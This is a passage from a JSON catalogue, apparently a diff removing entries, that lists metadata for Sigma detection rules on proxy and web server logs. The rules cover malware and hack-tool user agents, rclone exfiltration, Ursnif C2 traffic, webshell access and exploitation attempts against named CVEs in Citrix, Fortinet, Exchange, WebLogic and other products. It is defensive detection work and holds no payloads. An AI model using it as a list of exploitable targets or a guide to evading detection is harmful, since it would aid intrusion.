logs", - "uuid": "21e44d78-95e7-421b-a464-ffd8395659c4", - "value": "Empty User Agent", - "meta": { - "refs": [ - "https://twitter.com/Carlos_Perez/status/883455096645931008", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_empty_ua.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1071.001" - ], - "creation_date": "2017/07/08", - "filename": "proxy_empty_ua.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects URL pattern used by iOS Implant", - "uuid": "e06ac91d-b9e6-443d-8e5b-af749e7aa6b6", - "value": "iOS Implant URL Pattern", - "meta": { - "refs": [ - "https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html", - "https://twitter.com/craiu/status/1167358457344925696", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ios_implant.yml" - ], - "tags": [ - "attack.execution", - "attack.t1203", - "attack.collection", - "attack.t1005", - "attack.t1119", - "attack.credential_access", - "attack.t1528", - "attack.t1552.001" - ], - "creation_date": "2019/08/30", - "filename": "proxy_ios_implant.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects Java class download in proxy logs, e.g. used in Log4shell exploitation attacks against Log4j.", - "uuid": "53c15703-b04c-42bb-9055-1937ddfb3392", - "value": "Java Class Proxy Download", - "meta": { - "refs": [ - "https://www.lunasec.io/docs/blog/log4j-zero-day/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_java_class_download.yml" - ], - "tags": [ - "attack.initial_access" - ], - "creation_date": "2021/12/21", - "filename": "proxy_java_class_download.yml", - "author": "Andreas Hunkeler (@Karneades)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects Windows PowerShell Web Access", - "uuid": "c8557060-9221-4448-8794-96320e6f3e74", - "value": "Windows PowerShell User Agent", - "meta": { - "refs": [ - "https://msdn.microsoft.com/powershell/reference/5.1/microsoft.powershell.utility/Invoke-WebRequest", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_powershell_ua.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1071.001" - ], - "creation_date": "2017/03/13", - "filename": "proxy_powershell_ua.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Administrative scripts that download files from the Internet", - "Administrative scripts that retrieve certain website contents" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity", - "uuid": "2b1ee7e4-89b6-4739-b7bb-b811b6607e5e", - "value": "PwnDrp Access", - "meta": { - "refs": [ - "https://breakdev.org/pwndrop/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_pwndrop.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001", - "attack.t1102.001", - "attack.t1102.003" - ], - "creation_date": "2020/04/15", - "filename": "proxy_pwndrop.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects direct access to raw pastes in different paste services often used by malware in their second stages to download malicious code in encrypted or encoded form", - "uuid": "5468045b-4fcc-4d1a-973c-c9c9578edacb", - "value": "Raw Paste Service Access", - "meta": { - "refs": [ - "https://www.virustotal.com/gui/domain/paste.ee/relations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_raw_paste_service_access.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001", - "attack.t1102.001", - "attack.t1102.003", - "attack.defense_evasion" - ], - "creation_date": "2019/12/05", - "filename": "proxy_raw_paste_service_access.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "User activity (e.g. developer that shared and copied code snippets and used the raw link instead of just copy & paste)" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects a flashplayer update from an unofficial location", - "uuid": "4922a5dd-6743-4fc2-8e81-144374280997", - "value": "Flash Player Update from Suspicious Location", - "meta": { - "refs": [ - "https://gist.github.com/roycewilliams/a723aaf8a6ac3ba4f817847610935cfb", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_susp_flash_download_loc.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1189", - "attack.execution", - "attack.t1204.002", - "attack.defense_evasion", - "attack.t1036.005" - ], - "creation_date": "2017/10/25", - "filename": "proxy_susp_flash_download_loc.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown flash download locations" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects suspicious requests to Telegram API without the usual Telegram User-Agent", - "uuid": "b494b165-6634-483d-8c47-2026a6c52372", - "value": "Telegram API Access", - "meta": { - "refs": [ - "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/", - "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/", - "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_telegram_api.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1071.001", - "attack.t1102.002" - ], - "creation_date": "2018/06/05", - "filename": "proxy_telegram_api.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Legitimate use of Telegram bots in the company" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects Turla ComRAT patterns", - "uuid": "7857f021-007f-4928-8b2c-7aedbe64bb82", - "value": "Turla ComRAT", - "meta": { - "refs": [ - "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_turla_comrat.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1071.001", - "attack.g0010" - ], - "creation_date": "2020/05/26", - "filename": "proxy_turla_comrat.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects suspicious user agent strings used in APT malware in proxy logs", - "uuid": "6ec820f2-e963-4801-9127-d8b2dce4d31b", - "value": "APT User Agent", - "meta": { - "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_apt.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ], - "creation_date": "2019/11/12", - "filename": "proxy_ua_apt.yml", - "author": "Florian Roth, Markus Neis", - "level": "high", - "falsepositive": [ - "Old browsers" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects Bitsadmin connections to IP addresses instead of FQDN names", - "uuid": "8ccd35a2-1c7c-468b-b568-ac6cdf80eec3", - "value": "Bitsadmin to Uncommon IP Server Address", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_bitsadmin_susp_ip.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001", - "attack.defense_evasion", - "attack.persistence", - "attack.t1197", - "attack.s0190" - ], - "creation_date": "2022/06/10", - "filename": "proxy_ua_bitsadmin_susp_ip.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects Bitsadmin connections to domains with uncommon TLDs - https://twitter.com/jhencinski/status/1102695118455349248 - https://isc.sans.edu/forums/diary/Investigating+Microsoft+BITS+Activity/23281/", - "uuid": "9eb68894-7476-4cd6-8752-23b51f5883a7", - "value": "Bitsadmin to Uncommon TLD", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_bitsadmin_susp_tld.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001", - "attack.defense_evasion", - "attack.persistence", - "attack.t1197", - "attack.s0190" - ], - "creation_date": "2019/03/07", - "filename": "proxy_ua_bitsadmin_susp_tld.yml", - "author": "Florian Roth, Tim Shelton", - "level": "high", - "falsepositive": [ - "Rare programs that use Bitsadmin and update from regional TLDs e.g. .uk or .ca" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects suspicious user agent strings used by crypto miners in proxy logs", - "uuid": "fa935401-513b-467b-81f4-f9e77aa0dd78", - "value": "Crypto Miner User Agent", - "meta": { - "refs": [ - "https://github.com/xmrig/xmrig/blob/da22b3e6c45825f3ac1f208255126cb8585cd4fc/src/base/kernel/Platform_win.cpp#L65", - "https://github.com/xmrig/xmrig/blob/427b6516e0550200c17ca28675118f0fffcc323f/src/version.h", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_cryptominer.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ], - "creation_date": "2019/10/21", - "filename": "proxy_ua_cryptominer.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects suspicious user agent strings used by exploit / pentest frameworks like Metasploit in proxy logs", - "uuid": "fdd1bfb5-f60b-4a35-910e-f36ed3d0b32f", - "value": "Exploit Framework User Agent", - "meta": { - "refs": [ - "https://blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_frameworks.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ], - "creation_date": "2017/07/08", - "filename": "proxy_ua_frameworks.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects suspicious user agent strings user by hack tools in proxy logs", - "uuid": "c42a3073-30fb-48ae-8c99-c23ada84b103", - "value": "Hack Tool User Agent", - "meta": { - "refs": [ - "https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cff8da331dfc/templates/default/scanners-user-agents.data.erb", - "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_hacktool.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.credential_access", - "attack.t1110" - ], - "creation_date": "2017/07/08", - "filename": "proxy_ua_hacktool.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects suspicious user agent strings used by malware in proxy logs", - "uuid": "5c84856b-55a5-45f1-826f-13f37250cf4e", - "value": "Malware User Agent", - "meta": { - "refs": [ - "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules", - "http://www.botopedia.org/search?searchword=scan&searchphrase=all", - "https://networkraptor.blogspot.com/2015/01/user-agent-strings.html", - "https://perishablepress.com/blacklist/ua-2013.txt", - "https://www.bluecoat.com/en-gb/security-blog/2015-05-05/know-your-agents", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_malware.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ], - "creation_date": "2017/07/08", - "filename": "proxy_ua_malware.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects the use of rclone, a command-line program to manage files on cloud storage, via its default user-agent string", - "uuid": "2c03648b-e081-41a5-b9fb-7d854a915091", - "value": "Rclone Activity via Proxy", - "meta": { - "refs": [ - "https://rclone.org/", - "https://www.kroll.com/en/insights/publications/cyber/new-m365-business-email-compromise-attacks-with-rclone", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_rclone.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567.002" - ], - "creation_date": "2022/10/18", - "filename": "proxy_ua_rclone.yml", - "author": "Janantha Marasinghe", - "level": "medium", - "falsepositive": [ - "Valid requests with this exact user agent to that is used by legitimate scripts or sysadmin operations" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects suspicious malformed user agent strings in proxy logs", - "uuid": "7195a772-4b3f-43a4-a210-6a003d65caa1", - "value": "Suspicious User Agent", - "meta": { - "refs": [ - "https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cff8da331dfc/templates/default/scanners-user-agents.data.erb", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_susp.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ], - "creation_date": "2017/07/08", - "filename": "proxy_ua_susp.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects suspicious User Agent strings that end with an equal sign, which can be a sign of base64 encoded values used as User Agent string", - "uuid": "894a8613-cf12-48b3-8e57-9085f54aa0c3", - "value": "Suspicious User Agent", - "meta": { - "refs": [ - "https://blogs.jpcert.or.jp/en/2022/07/yamabot.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_susp_base64.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ], - "creation_date": "2022/07/08", - "filename": "proxy_ua_susp_base64.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects Ursnif C2 traffic.", - "uuid": "932ac737-33ca-4afd-9869-0d48b391fcc9", - "value": "Ursnif Malware C2 URL Pattern", - "meta": { - "refs": [ - "https://www.fortinet.com/blog/threat-research/ursnif-variant-spreading-word-document.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ursnif_malware_c2_url.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1566.001", - "attack.execution", - "attack.t1204.002", - "attack.command_and_control", - "attack.t1071.001" - ], - "creation_date": "2019/12/19", - "filename": "proxy_ursnif_malware_c2_url.yml", - "author": "Thomas Patzke", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects download of Ursnif malware done by dropper documents.", - "uuid": "a36ce77e-30db-4ea0-8795-644d7af5dfb4", - "value": "Ursnif Malware Download URL Pattern", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ursnif_malware_download_url.yml" - ], - "tags": "No established tags", - "creation_date": "2019/12/19", - "filename": "proxy_ursnif_malware_download_url.yml", - "author": "Thomas Patzke", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "proxy", - "logsource.product": "No established product" - } - }, - { - "description": "Detects a segmentation fault error message caused by a creashing apache worker process", - "uuid": "1da8ce0b-855d-4004-8860-7d64d42063b1", - "value": "Apache Segmentation Fault", - "meta": { - "refs": [ - "http://www.securityfocus.com/infocus/1633", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_apache_segfault.yml" - ], - "tags": [ - "attack.impact", - "attack.t1499.004" - ], - "creation_date": "2017/02/28", - "filename": "web_apache_segfault.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "No established product" - } - }, - { - "description": "Detects an issue in apache logs that reports threading related errors", - "uuid": "e9a2b582-3f6a-48ac-b4a1-6849cdc50b3c", - "value": "Apache Threading Error", - "meta": { - "refs": [ - "https://github.com/hannob/apache-uaf/blob/da40f2be3684c8095ec6066fa68eb5c07a086233/README.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_apache_threading_error.yml" - ], - "tags": "No established tags", - "creation_date": "2019/01/22", - "filename": "web_apache_threading_error.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "3rd party apache modules - https://bz.apache.org/bugzilla/show_bug.cgi?id=46185" - ], - "logsource.category": "No established category", - "logsource.product": "No established product" - } - }, - { - "description": "MODx manager - Local File Inclusion:Directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl, and possibly earlier,\nwhen magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter.\n", - "uuid": "a4a899e8-fd7a-49dd-b5a8-7044def72d61", - "value": "CVE-2010-5278 Exploitation Attempt", - "meta": { - "refs": [ - "https://github.com/projectdiscovery/nuclei-templates", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2010_5278_exploitation_attempt.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2021/08/25", - "filename": "web_cve_2010_5278_exploitation_attempt.yml", - "author": "Subhash Popuri (@pbssubhash)", - "level": "critical", - "falsepositive": [ - "Scanning from Nuclei", - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects attempts to exploit a Rejetto HTTP File Server (HFS) via CVE-2014-6287", - "uuid": "a133193c-2daa-4a29-8022-018695fcf0ae", - "value": "Rejetto HTTP File Server RCE", - "meta": { - "refs": [ - "https://vk9-sec.com/hfs-code-execution-cve-2014-6287/", - "https://www.exploit-db.com/exploits/39161", - "https://github.com/Twigonometry/Cybersecurity-Notes/blob/c875b0f52df7d2c7a870e75e1f0c2679d417931d/Writeups/Hack%20the%20Box/Boxes/Optimum/10%20-%20Website.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2014_6287_hfs_rce.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.t1505.003", - "cve.2014.6287" - ], - "creation_date": "2022/07/19", - "filename": "web_cve_2014_6287_hfs_rce.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects CVE-2018-13379 exploitation attempt against Fortinet SSL VPNs", - "uuid": "a2e97350-4285-43f2-a63f-d0daff291738", - "value": "Fortinet CVE-2018-13379 Exploitation", - "meta": { - "refs": [ - "https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2018_13379_fortinet_preauth_read_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2020/12/08", - "filename": "web_cve_2018_13379_fortinet_preauth_read_exploit.yml", - "author": "Bhabesh Raj", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects access to a webshell dropped into a keystore folder on the WebLogic server", - "uuid": "37e8369b-43bb-4bf8-83b6-6dd43bda2000", - "value": "Oracle WebLogic Exploit", - "meta": { - "refs": [ - "https://twitter.com/pyn3rd/status/1020620932967223296", - "https://github.com/LandGrey/CVE-2018-2894", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2018_2894_weblogic_exploit.yml" - ], - "tags": [ - "attack.t1190", - "attack.initial_access", - "attack.persistence", - "attack.t1505.003", - "cve.2018.2894" - ], - "creation_date": "2018/07/22", - "filename": "web_cve_2018_2894_weblogic_exploit.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects CVE-2019-11510 exploitation attempt - URI contains Guacamole", - "uuid": "2dbc10d7-a797-49a8-8776-49efa6442e60", - "value": "Pulse Secure Attack CVE-2019-11510", - "meta": { - "refs": [ - "https://www.exploit-db.com/exploits/47297", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_11510_pulsesecure_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2019/11/18", - "filename": "web_cve_2019_11510_pulsesecure_exploit.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects CVE-2019-19781 exploitation attempt against Citrix Netscaler, Application Delivery Controller and Citrix Gateway Attack", - "uuid": "ac5a6409-8c89-44c2-8d64-668c29a2d756", - "value": "Citrix Netscaler Attack CVE-2019-19781", - "meta": { - "refs": [ - "https://support.citrix.com/article/CTX267679", - "https://support.citrix.com/article/CTX267027", - "https://isc.sans.edu/diary/25686", - "https://twitter.com/mpgn_x64/status/1216787131210829826", - "https://github.com/x1sec/CVE-2019-19781/blob/25f7ab97275b2d41800bb3414dac8ca3a78af7e5/CVE-2019-19781-DFIR.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_19781_citrix_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2020/01/02", - "filename": "web_cve_2019_19781_citrix_exploit.yml", - "author": "Arnim Rupp, Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects the exploitation of the Confluence vulnerability described in CVE-2019-3398", - "uuid": "e9bc39ae-978a-4e49-91ab-5bd481fc668b", - "value": "Confluence Exploitation CVE-2019-3398", - "meta": { - "refs": [ - "https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_3398_confluence.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2020/05/26", - "filename": "web_cve_2019_3398_confluence.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects CVE-2020-0688 Exploitation attempts", - "uuid": "7c64e577-d72e-4c3d-9d75-8de6d1f9146a", - "value": "CVE-2020-0688 Exploitation Attempt", - "meta": { - "refs": [ - "https://github.com/Ridter/cve-2020-0688", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_0688_exchange_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2020/02/27", - "filename": "web_cve_2020_0688_exchange_exploit.yml", - "author": "NVISO", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688", - "uuid": "fce2c2e2-0fb5-41ab-a14c-5391e1fd70a5", - "value": "CVE-2020-0688 Exchange Exploitation via Web Log", - "meta": { - "refs": [ - "https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_0688_msexchange.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2020/02/29", - "filename": "web_cve_2020_0688_msexchange.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects CVE-2020-10148 SolarWinds Orion API authentication bypass attempts", - "uuid": "5a35116f-43bc-4901-b62d-ef131f42a9af", - "value": "CVE-2020-10148 SolarWinds Orion API Auth Bypass", - "meta": { - "refs": [ - "https://kb.cert.org/vuls/id/843464", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_10148_solarwinds_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2020/12/27", - "filename": "web_cve_2020_10148_solarwinds_exploit.yml", - "author": "Bhabesh Raj, Tim Shelton", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects exploitation attempts on WebLogic servers", - "uuid": "85d466b0-d74c-4514-84d3-2bdd3327588b", - "value": "Oracle WebLogic Exploit CVE-2020-14882", - "meta": { - "refs": [ - "https://isc.sans.edu/diary/26734", - "https://twitter.com/jas502n/status/1321416053050667009?s=20", - "https://twitter.com/sudo_sudoka/status/1323951871078223874", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_14882_weblogic_exploit.yml" - ], - "tags": [ - "attack.t1190", - "attack.initial_access", - "cve.2020.14882" - ], - "creation_date": "2020/11/02", - "filename": "web_cve_2020_14882_weblogic_exploit.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects the exploitation of the TerraMaster TOS vulnerability described in CVE-2020-28188", - "uuid": "15c312b9-00d0-4feb-8870-7d940a4bdc5e", - "value": "TerraMaster TOS CVE-2020-28188", - "meta": { - "refs": [ - "https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/", - "https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_28188_terramaster_rce_exploit.yml" - ], - "tags": [ - "attack.t1190", - "attack.initial_access", - "cve.2020.28188" - ], - "creation_date": "2021/01/25", - "filename": "web_cve_2020_28188_terramaster_rce_exploit.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects exploitation attempts on Cisco ASA FTD systems exploiting CVE-2020-3452 with a status code of 200 (sccessful exploitation)", - "uuid": "aba47adc-4847-4970-95c1-61dce62a8b29", - "value": "Cisco ASA FTD Exploit CVE-2020-3452", - "meta": { - "refs": [ - "https://twitter.com/aboul3la/status/1286012324722155525", - "https://github.com/darklotuskdb/CISCO-CVE-2020-3452-Scanner-Exploiter", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_3452_cisco_asa_ftd.yml" - ], - "tags": [ - "attack.t1190", - "attack.initial_access", - "cve.2020.3452" - ], - "creation_date": "2021/01/07", - "filename": "web_cve_2020_3452_cisco_asa_ftd.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects the exploitation attempt of the vulnerability found in F5 BIG-IP and described in CVE-2020-5902", - "uuid": "44b53b1c-e60f-4a7b-948e-3435a7918478", - "value": "CVE-2020-5902 F5 BIG-IP Exploitation Attempt", - "meta": { - "refs": [ - "https://support.f5.com/csp/article/K52145254", - "https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/", - "https://twitter.com/yorickkoster/status/1279709009151434754", - "https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_5902_f5_bigip.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2020/07/05", - "filename": "web_cve_2020_5902_f5_bigip.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects exploitation attempt against Citrix Netscaler, Application Delivery Controller (ADS) and Citrix Gateway exploiting vulnerabilities reported as CVE-2020-8193 and CVE-2020-8195", - "uuid": "0d0d9a8a-a49e-4e27-b061-7ce4b936cfb7", - "value": "Citrix ADS Exploitation CVE-2020-8193 CVE-2020-8195", - "meta": { - "refs": [ - "https://support.citrix.com/article/CTX276688", - "https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/", - "https://dmaasland.github.io/posts/citrix.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_8193_8195_citrix_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2020/07/10", - "filename": "web_cve_2020_8193_8195_citrix_exploit.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects exploitation of vulnerabilities in Arcadyan routers as reported in CVE-2021-20090 and CVE-2021-20091.", - "uuid": "f0500377-bc70-425d-ac8c-e956cd906871", - "value": "Arcadyan Router Exploitations", - "meta": { - "refs": [ - "https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2", - "https://www.tenable.com/security/research/tra-2021-13", - "https://blogs.juniper.net/en-us/security/freshly-disclosed-vulnerability-cve-2021-20090-exploited-in-the-wild", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_20090_2021_20091_arcadyan_router_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2021.20090", - "cve.2021.20091" - ], - "creation_date": "2021/08/24", - "filename": "web_cve_2021_20090_2021_20091_arcadyan_router_exploit.yml", - "author": "Bhabesh Raj", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "webserver", - "logsource.product": "No established product" - } - }, - { - "description": "Detects the exploitation of the WebLogic server vulnerability described in CVE-2021-2109", - "uuid": 